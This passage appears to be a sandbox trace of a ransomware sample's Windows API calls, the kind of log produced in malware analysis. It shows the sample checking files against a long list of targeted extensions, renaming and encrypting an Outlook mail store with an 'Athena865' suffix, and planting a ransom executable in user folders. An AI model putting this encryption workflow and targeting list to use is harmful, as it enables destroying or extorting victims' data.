(lpString="oqy") returned 3 [0101.675] lstrcmpiW (lpString1="pst", lpString2="oqy") returned 1 [0101.675] lstrlenW (lpString="ora") returned 3 [0101.675] lstrcmpiW (lpString1="pst", lpString2="ora") returned 1 [0101.675] lstrlenW (lpString="orx") returned 3 [0101.675] lstrcmpiW (lpString1="pst", lpString2="orx") returned 1 [0101.675] lstrlenW (lpString="owc") returned 3 [0101.675] lstrcmpiW (lpString1="pst", lpString2="owc") returned 1 [0101.675] lstrlenW (lpString="p96") returned 3 [0101.675] lstrcmpiW (lpString1="pst", lpString2="p96") returned 1 [0101.675] lstrlenW (lpString="p97") returned 3 [0101.675] lstrcmpiW (lpString1="pst", lpString2="p97") returned 1 [0101.675] lstrlenW (lpString="pan") returned 3 [0101.675] lstrcmpiW (lpString1="pst", lpString2="pan") returned 1 [0101.675] lstrlenW (lpString="pdb") returned 3 [0101.675] lstrcmpiW (lpString1="pst", lpString2="pdb") returned 1 [0101.675] lstrlenW (lpString="pdm") returned 3 [0101.675] lstrcmpiW (lpString1="pst", lpString2="pdm") returned 1 [0101.675] lstrlenW (lpString="pnz") returned 3 [0101.675] lstrcmpiW (lpString1="pst", lpString2="pnz") returned 1 [0101.675] lstrlenW (lpString="qry") returned 3 [0101.675] lstrcmpiW (lpString1="pst", lpString2="qry") returned -1 [0101.675] lstrlenW (lpString="qvd") returned 3 [0101.675] lstrcmpiW (lpString1="pst", lpString2="qvd") returned -1 [0101.675] lstrlenW (lpString="rbf") returned 3 [0101.675] lstrcmpiW (lpString1="pst", lpString2="rbf") returned -1 [0101.675] lstrlenW (lpString="rctd") returned 4 [0101.675] lstrcmpiW (lpString1=".pst", lpString2="rctd") returned -1 [0101.675] lstrlenW (lpString="rod") returned 3 [0101.675] lstrcmpiW (lpString1="pst", lpString2="rod") returned -1 [0101.675] lstrlenW (lpString="rodx") returned 4 [0101.676] lstrcmpiW (lpString1=".pst", lpString2="rodx") returned -1 [0101.676] lstrlenW (lpString="rpd") returned 3 [0101.676] lstrcmpiW (lpString1="pst", lpString2="rpd") returned -1 [0101.676] lstrlenW (lpString="rsd") returned 3 [0101.676] lstrcmpiW (lpString1="pst", lpString2="rsd") returned -1 [0101.676] lstrlenW (lpString="sas7bdat") returned 8 [0101.676] lstrcmpiW (lpString1=".uhd.pst", lpString2="sas7bdat") returned -1 [0101.676] lstrlenW (lpString="sbf") returned 3 [0101.676] lstrcmpiW (lpString1="pst", lpString2="sbf") returned -1 [0101.676] lstrlenW (lpString="scx") returned 3 [0101.676] lstrcmpiW (lpString1="pst", lpString2="scx") returned -1 [0101.676] lstrlenW (lpString="sdb") returned 3 [0101.676] lstrcmpiW (lpString1="pst", lpString2="sdb") returned -1 [0101.676] lstrlenW (lpString="sdc") returned 3 [0101.676] lstrcmpiW (lpString1="pst", lpString2="sdc") returned -1 [0101.676] lstrlenW (lpString="sdf") returned 3 [0101.676] lstrcmpiW (lpString1="pst", lpString2="sdf") returned -1 [0101.676] lstrlenW (lpString="sis") returned 3 [0101.676] lstrcmpiW (lpString1="pst", lpString2="sis") returned -1 [0101.676] lstrlenW (lpString="spq") returned 3 [0101.676] lstrcmpiW (lpString1="pst", lpString2="spq") returned -1 [0101.676] lstrlenW (lpString="te") returned 2 [0101.676] lstrcmpiW (lpString1="st", lpString2="te") returned -1 [0101.676] lstrlenW (lpString="teacher") returned 7 [0101.676] lstrcmpiW (lpString1="uhd.pst", lpString2="teacher") returned 1 [0101.676] lstrlenW (lpString="tmd") returned 3 [0101.676] lstrcmpiW (lpString1="pst", lpString2="tmd") returned -1 [0101.676] lstrlenW (lpString="tps") returned 3 [0101.676] lstrcmpiW (lpString1="pst", lpString2="tps") returned -1 [0101.676] lstrlenW (lpString="trc") returned 3 [0101.676] lstrcmpiW (lpString1="pst", lpString2="trc") returned -1 [0101.676] lstrlenW (lpString="trc") returned 3 [0101.677] lstrcmpiW (lpString1="pst", lpString2="trc") returned -1 [0101.677] lstrlenW (lpString="trm") returned 3 [0101.677] lstrcmpiW (lpString1="pst", lpString2="trm") returned -1 [0101.677] lstrlenW (lpString="udb") returned 3 [0101.677] lstrcmpiW (lpString1="pst", lpString2="udb") returned -1 [0101.677] lstrlenW (lpString="udl") returned 3 [0101.677] lstrcmpiW (lpString1="pst", lpString2="udl") returned -1 [0101.677] lstrlenW (lpString="usr") returned 3 [0101.677] lstrcmpiW (lpString1="pst", lpString2="usr") returned -1 [0101.677] lstrlenW (lpString="v12") returned 3 [0101.677] lstrcmpiW (lpString1="pst", lpString2="v12") returned -1 [0101.677] lstrlenW (lpString="vis") returned 3 [0101.677] lstrcmpiW (lpString1="pst", lpString2="vis") returned -1 [0101.677] lstrlenW (lpString="vpd") returned 3 [0101.677] lstrcmpiW (lpString1="pst", lpString2="vpd") returned -1 [0101.677] lstrlenW (lpString="vvv") returned 3 [0101.677] lstrcmpiW (lpString1="pst", lpString2="vvv") returned -1 [0101.677] lstrlenW (lpString="wdb") returned 3 [0101.677] lstrcmpiW (lpString1="pst", lpString2="wdb") returned -1 [0101.677] lstrlenW (lpString="wmdb") returned 4 [0101.677] lstrcmpiW (lpString1=".pst", lpString2="wmdb") returned -1 [0101.677] lstrlenW (lpString="wrk") returned 3 [0101.677] lstrcmpiW (lpString1="pst", lpString2="wrk") returned -1 [0101.677] lstrlenW (lpString="xdb") returned 3 [0101.677] lstrcmpiW (lpString1="pst", lpString2="xdb") returned -1 [0101.677] lstrlenW (lpString="xld") returned 3 [0101.677] lstrcmpiW (lpString1="pst", lpString2="xld") returned -1 [0101.677] lstrlenW (lpString="xmlff") returned 5 [0101.677] lstrcmpiW (lpString1="d.pst", lpString2="xmlff") returned -1 [0101.677] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.Athena865") returned 103 [0101.677] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.athena865"), dwFlags=0x1) returned 1 [0101.678] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.679] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=271360) returned 1 [0101.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.679] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.680] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.680] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.680] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x42700, lpName=0x0) returned 0x17c [0101.681] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x42700) returned 0x2d50000 [0101.692] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.693] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.693] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x528188 [0101.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.694] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0101.696] CloseHandle (hObject=0x17c) returned 1 [0101.696] CloseHandle (hObject=0x154) returned 1 [0101.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.698] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0101.698] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0101.698] ReleaseMutex (hMutex=0xec) returned 1 [0101.698] CloseHandle (hObject=0xec) returned 1 [0101.698] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" [0101.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0101.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c4a0 | out: hHeap=0x4f0000) returned 1 [0101.698] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned 62 [0101.698] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\74E218B5B80899998C2E87130B3E94F7") returned 0xec [0101.698] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0101.698] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" [0101.698] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0101.699] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\links\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.699] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\links\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0101.701] GetLastError () returned 0x0 [0101.701] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0101.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546058 [0101.701] ReadFile (in: hFile=0xf4, lpBuffer=0x546058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0101.702] CloseHandle (hObject=0xf4) returned 1 [0101.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.702] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0101.702] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5f45740, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5f45740, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0101.702] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.702] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.702] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0101.702] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5f45740, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5f45740, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.702] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.702] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.702] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0101.702] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0101.702] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0101.702] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.702] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.702] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0101.702] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0101.702] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0101.702] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0101.702] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0101.703] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0101.703] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0101.703] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0101.703] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0101.703] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0101.703] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0101.703] lstrlenW (lpString="desktop.ini") returned 11 [0101.703] lstrcpyW (in: lpString1=0x241e8c6, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0101.703] lstrlenW (lpString="desktop.ini") returned 11 [0101.703] lstrlenW (lpString="Athena865") returned 9 [0101.703] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0101.703] lstrlenW (lpString=".dll") returned 4 [0101.703] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0101.703] lstrlenW (lpString=".lnk") returned 4 [0101.703] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0101.703] lstrlenW (lpString=".ini") returned 4 [0101.703] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0101.703] lstrlenW (lpString=".sys") returned 4 [0101.703] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0101.703] lstrlenW (lpString="desktop.ini") returned 11 [0101.703] lstrlenW (lpString="bak") returned 3 [0101.703] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0101.703] lstrlenW (lpString="ba_") returned 3 [0101.703] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0101.703] lstrlenW (lpString="dbb") returned 3 [0101.703] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0101.703] lstrlenW (lpString="vmdk") returned 4 [0101.703] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0101.703] lstrlenW (lpString="rar") returned 3 [0101.703] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0101.703] lstrlenW (lpString="zip") returned 3 [0101.703] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0101.704] lstrlenW (lpString="tgz") returned 3 [0101.704] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0101.704] lstrlenW (lpString="vbox") returned 4 [0101.704] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0101.704] lstrlenW (lpString="vdi") returned 3 [0101.704] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0101.704] lstrlenW (lpString="vhd") returned 3 [0101.704] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0101.704] lstrlenW (lpString="vhdx") returned 4 [0101.704] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0101.704] lstrlenW (lpString="avhd") returned 4 [0101.704] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0101.704] lstrlenW (lpString="db") returned 2 [0101.704] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0101.704] lstrlenW (lpString="db2") returned 3 [0101.704] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0101.704] lstrlenW (lpString="db3") returned 3 [0101.704] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0101.704] lstrlenW (lpString="dbf") returned 3 [0101.704] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0101.704] lstrlenW (lpString="mdf") returned 3 [0101.704] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0101.704] lstrlenW (lpString="mdb") returned 3 [0101.704] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0101.704] lstrlenW (lpString="sql") returned 3 [0101.704] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0101.704] lstrlenW (lpString="sqlite") returned 6 [0101.704] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0101.704] lstrlenW (lpString="sqlite3") returned 7 [0101.704] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0101.704] lstrlenW (lpString="sqlitedb") returned 8 [0101.704] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0101.704] lstrlenW (lpString="xml") returned 3 [0101.705] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0101.705] lstrlenW (lpString="$er") returned 3 [0101.705] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0101.705] lstrlenW (lpString="4dd") returned 3 [0101.705] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0101.705] lstrlenW (lpString="4dl") returned 3 [0101.705] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0101.705] lstrlenW (lpString="^^^") returned 3 [0101.705] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0101.705] lstrlenW (lpString="abs") returned 3 [0101.705] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0101.705] lstrlenW (lpString="abx") returned 3 [0101.705] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0101.705] lstrlenW (lpString="accdb") returned 5 [0101.705] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0101.705] lstrlenW (lpString="accdc") returned 5 [0101.705] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0101.705] lstrlenW (lpString="accde") returned 5 [0101.705] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0101.705] lstrlenW (lpString="accdr") returned 5 [0101.705] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0101.705] lstrlenW (lpString="accdt") returned 5 [0101.705] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0101.705] lstrlenW (lpString="accdw") returned 5 [0101.705] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0101.705] lstrlenW (lpString="accft") returned 5 [0101.705] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0101.705] lstrlenW (lpString="adb") returned 3 [0101.705] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0101.705] lstrlenW (lpString="adb") returned 3 [0101.705] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0101.705] lstrlenW (lpString="ade") returned 3 [0101.705] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0101.706] lstrlenW (lpString="adf") returned 3 [0101.706] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0101.706] lstrlenW (lpString="adn") returned 3 [0101.706] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0101.706] lstrlenW (lpString="adp") returned 3 [0101.706] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0101.706] lstrlenW (lpString="alf") returned 3 [0101.706] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0101.706] lstrlenW (lpString="ask") returned 3 [0101.706] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0101.706] lstrlenW (lpString="btr") returned 3 [0101.706] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0101.706] lstrlenW (lpString="cat") returned 3 [0101.706] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0101.706] lstrlenW (lpString="cdb") returned 3 [0101.706] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0101.706] lstrlenW (lpString="ckp") returned 3 [0101.706] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0101.706] lstrlenW (lpString="cma") returned 3 [0101.706] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0101.706] lstrlenW (lpString="cpd") returned 3 [0101.706] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0101.706] lstrlenW (lpString="dacpac") returned 6 [0101.706] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0101.706] lstrlenW (lpString="dad") returned 3 [0101.706] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0101.706] lstrlenW (lpString="dadiagrams") returned 10 [0101.706] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0101.706] lstrlenW (lpString="daschema") returned 8 [0101.706] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0101.706] lstrlenW (lpString="db-journal") returned 10 [0101.706] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0101.707] lstrlenW (lpString="db-shm") returned 6 [0101.707] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0101.707] lstrlenW (lpString="db-wal") returned 6 [0101.707] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0101.707] lstrlenW (lpString="dbc") returned 3 [0101.707] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0101.707] lstrlenW (lpString="dbs") returned 3 [0101.707] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0101.707] lstrlenW (lpString="dbt") returned 3 [0101.707] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0101.707] lstrlenW (lpString="dbv") returned 3 [0101.707] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0101.707] lstrlenW (lpString="dbx") returned 3 [0101.707] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0101.707] lstrlenW (lpString="dcb") returned 3 [0101.707] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0101.707] lstrlenW (lpString="dct") returned 3 [0101.707] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0101.707] lstrlenW (lpString="dcx") returned 3 [0101.707] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0101.707] lstrlenW (lpString="ddl") returned 3 [0101.707] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0101.707] lstrlenW (lpString="dlis") returned 4 [0101.707] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0101.707] lstrlenW (lpString="dp1") returned 3 [0101.707] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0101.707] lstrlenW (lpString="dqy") returned 3 [0101.707] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0101.707] lstrlenW (lpString="dsk") returned 3 [0101.707] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0101.707] lstrlenW (lpString="dsn") returned 3 [0101.707] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0101.708] lstrlenW (lpString="dtsx") returned 4 [0101.708] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0101.708] lstrlenW (lpString="dxl") returned 3 [0101.708] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0101.708] lstrlenW (lpString="eco") returned 3 [0101.708] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0101.708] lstrlenW (lpString="ecx") returned 3 [0101.708] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0101.708] lstrlenW (lpString="edb") returned 3 [0101.708] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0101.708] lstrlenW (lpString="epim") returned 4 [0101.708] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0101.708] lstrlenW (lpString="fcd") returned 3 [0101.708] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0101.708] lstrlenW (lpString="fdb") returned 3 [0101.708] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0101.708] lstrlenW (lpString="fic") returned 3 [0101.708] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0101.708] lstrlenW (lpString="flexolibrary") returned 12 [0101.708] lstrlenW (lpString="fm5") returned 3 [0101.708] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0101.708] lstrlenW (lpString="fmp") returned 3 [0101.708] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0101.708] lstrlenW (lpString="fmp12") returned 5 [0101.708] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0101.708] 